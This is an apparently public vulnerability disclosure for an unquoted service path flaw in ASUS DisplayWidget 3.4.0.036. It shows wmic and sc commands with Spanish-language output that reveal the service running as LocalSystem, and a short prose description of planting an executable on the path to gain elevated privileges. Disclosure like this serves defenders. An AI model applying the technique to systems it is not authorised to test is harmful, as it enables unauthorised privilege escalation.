ASUS DisplayWidget Software version 3.4.0.036 suffers from an unquoted service path vulnerability.
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# Exploit Title: ASUS DisplayWidget Software 3.4.0.036 - 'ASUSDisplayWidgetService' Unquoted Service Path
# Date: 2021-06-21
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.asus.com/
# Software Link: https://dlcdnets.asus.com/pub/ASUS/LCD%20Monitors/MB16ACE/ASUS_DisplayWidget_3.4.0.036.exe.zip
# Version: 3.4.0.036
# Service File Version 1.0.0.1
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path
# 1. To find the unquoted service path vulnerability
C:\>wmic service where 'name like "%ASUSDisplayWidgetService%"' get displayname, pathname, startmode, startname
DisplayName PathName StartMode StartName
ASUS DisplayWidget Service by Portrait Displays C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe Auto LocalSystem
# 2. To check service info:
C:\>sc qc "ASUSDisplayWidgetService"
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: ASUSDisplayWidgetService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : ASUS DisplayWidget Service by Portrait Displays
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
# 3. Exploit:
A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.